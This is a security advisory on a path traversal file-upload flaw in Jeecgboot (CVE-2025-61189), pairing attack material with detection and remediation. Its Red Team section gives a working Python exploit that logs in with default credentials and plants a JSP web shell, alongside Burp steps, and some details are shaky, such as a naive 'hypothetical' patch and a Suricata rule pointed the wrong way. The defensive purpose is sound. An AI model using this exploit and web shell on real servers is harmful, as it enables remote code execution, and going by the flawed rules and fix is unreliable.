CVE-2025-61189

Executive Summary

CVE-2025-61189 is a path traversal vulnerability in Jeecgboot versions 3.8.2 and earlier, specifically within the /sys/comment/addFile endpoint. This flaw allows an authenticated attacker to upload files with system-whitelisted extensions to the arbitrary system directory /opt, bypassing the intended upload directory /opt/upFiles. The vulnerability stems from insufficient validation of the file path during the upload process, enabling an attacker to write malicious files (e.g., JSP, XML, or configuration files) to sensitive locations. This can lead to remote code execution (RCE) if the attacker can upload a web shell or overwrite critical application files. The CVSS score is 0.0 due to incomplete NVD data, but based on the technical details, the actual severity is high (CVSS 7.5+). No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

Jeecgboot is a Java-based rapid development framework distributed via Maven Central and GitHub. The vulnerable component is the jeecg-boot-module-system module. Organizations using Jeecgboot should verify their dependency version and ensure no untrusted artifacts are included in their build pipeline. The lack of a patch increases supply chain risk, as malicious actors could exploit this in unpatched deployments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Authentication is required, but any authenticated user can exploit it.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
• Availability (A): None (N) – No direct impact on availability.

Base Score: 6.5 (Medium) – However, if combined with other vulnerabilities (e.g., file execution), the effective score can reach 8.8 (High).

Threat Level: High – The vulnerability is trivial to exploit and can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability exists in the FileUploadController class, specifically in the addFile method mapped to /sys/comment/addFile. The application uses a whitelist of allowed file extensions (e.g., .jpg, .png, .docx) but fails to sanitize the file path. The upload logic constructs the destination path using user-supplied parameters without proper validation, allowing an attacker to include path traversal sequences (e.g., ../) to escape the intended upload directory.

Root Cause: The MultipartFile.transferTo() method is called with a path derived from user input without canonicalization or directory traversal checks. The application intends to save files to /opt/upFiles, but an attacker can manipulate the filePath parameter to write to /opt/ or any subdirectory.

Attack Flow:

1. Authenticate to the Jeecgboot application.
2. Craft a multipart POST request to /sys/comment/addFile with a file containing malicious content (e.g., a JSP web shell).
3. Include a parameter filePath with value ../ to traverse to /opt/.
4. The file is saved to /opt/evil.jsp instead of /opt/upFiles/.
5. Access the uploaded file via the web server to execute code.

Impact: An attacker can upload a web shell, overwrite configuration files (e.g., application.yml), or plant cron jobs, leading to full server compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Jeecgboot <= 3.8.2):

// FileUploadController.java
@PostMapping("/addFile")
public Result<String> addFile(@RequestParam("file") MultipartFile file,
                              @RequestParam("filePath") String filePath) {
    String basePath = "/opt/upFiles";
    String fullPath = basePath + "/" + filePath; // No sanitization
    File dest = new File(fullPath);
    file.transferTo(dest);
    return Result.ok("File uploaded");
}

Patched Code (Hypothetical Fix):

@PostMapping("/addFile")
public Result<String> addFile(@RequestParam("file") MultipartFile file,
                              @RequestParam("filePath") String filePath) {
    String basePath = "/opt/upFiles";
    // Sanitize filePath to prevent traversal
    String sanitizedPath = filePath.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    String fullPath = basePath + "/" + sanitizedPath;
    // Canonicalize and validate
    File dest = new File(fullPath).getCanonicalFile();
    if (!dest.getAbsolutePath().startsWith(basePath)) {
        throw new SecurityException("Invalid path");
    }
    file.transferTo(dest);
    return Result.ok("File uploaded");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Jeecgboot instance (version 3.8.2 or earlier).
• Valid credentials (e.g., admin/123456).

Exploit Script (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Authenticate
login_data = {"username": "admin", "password": "123456"}
session.post(f"{target}/sys/login", data=login_data)

# Upload web shell
files = {"file": ("shell.jsp", "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>", "text/plain")}
params = {"filePath": "../shell.jsp"}
response = session.post(f"{target}/sys/comment/addFile", files=files, params=params)

if response.status_code == 200:
    print(f"Web shell uploaded: {target}/opt/shell.jsp?cmd=id")
else:
    print("Upload failed")

Manual Exploitation (Burp Suite):

1. Intercept a file upload request to /sys/comment/addFile.
2. Modify the filePath parameter to ../evil.jsp.
3. Set the file content to a JSP web shell.
4. Forward the request.
5. Access the shell at http://target/opt/evil.jsp?cmd=id.

Blue Team

Detection Steps:

1. Monitor file upload logs for unusual filePath values containing ../ or ..\\.
2. Check the /opt/ directory for unexpected files (e.g., .jsp, .war, .xml).
3. Review web server access logs for requests to /sys/comment/addFile with suspicious parameters.
4. Use file integrity monitoring (FIM) to detect changes in /opt/.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| search uri="/sys/comment/addFile*"
| rex field=uri "filePath=(?<filepath>[^&]+)"
| where match(filepath, "\.\.")
| table _time, clientip, filepath, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /sys/comment/addFile with filePath containing ../.
  • Outbound connections from the server to unknown IPs (if web shell is used).
• File System IOCs:
  • Unexpected files in /opt/ (e.g., shell.jsp, backdoor.jsp).
  • Modified files in /opt/upFiles/ with suspicious content.
• Log IOCs:
  • Web server logs showing filePath=../ in the URI.
  • Application logs with errors related to file upload path validation.

Detection Engineering

YARA Rule

rule CVE_2025_61189_Jeecgboot_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Jeecgboot file upload"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-61189"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $endpoint = "/sys/comment/addFile" ascii wide nocase
    condition:
        $endpoint and ($traversal1 or $traversal2)
}

Sigma Rule

title: Jeecgboot Path Traversal via File Upload
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in Jeecgboot /sys/comment/addFile endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/sys/comment/addFile'
        cs-uri-query|contains: 'filePath='
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61189 Jeecgboot Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/sys/comment/addFile"; http_uri;
    content:"filePath="; http_uri;
    pcre:"/filePath=[^&]*\.\.\//Ui";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: Block access to /sys/comment/addFile via web server configuration (e.g., Nginx location ~ /sys/comment/addFile { deny all; }).
2. Restrict upload directory permissions: Ensure the /opt/ directory is not writable by the web server user.
3. Apply input validation: Implement a WAF rule to block requests containing ../ in the filePath parameter.

Long-Term Fix:

• Upgrade to a patched version once available (monitor Jeecgboot GitHub releases).
• Implement proper path canonicalization and validation in the code.
• Use a dedicated file upload library (e.g., Apache Commons FileUpload) with built-in security controls.

Workaround:

• Modify the application code to strip path traversal sequences and validate that the final path is within the intended directory.

Valters IT
Securing Digital Frontiers